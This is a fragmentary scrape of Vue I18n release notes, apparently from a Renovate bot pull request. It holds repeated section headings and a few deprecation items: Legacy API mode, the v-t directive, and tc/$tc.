Deprecate Legacy API mode

Deprecate Custom Directive v-t

Drop tc and $tc for Legacy API mode

Vue I18n maintenance Status

❗ Breaking Changes

⚡ Improvement Features

🔒 Security Fixes

📝️ Documentations

👋 New Contributors

What's Changed

🐛 Bug Fixes

📝️ Documentations

New Contributors

What's Changed

🐛 Bug Fixes

📝️ Documentations

What's Changed

renovate bot commented Dec 2, 2024 •

edited

Loading

Deprecate Custom Directive `v-t`

Drop `tc` and `$tc` for Legacy API mode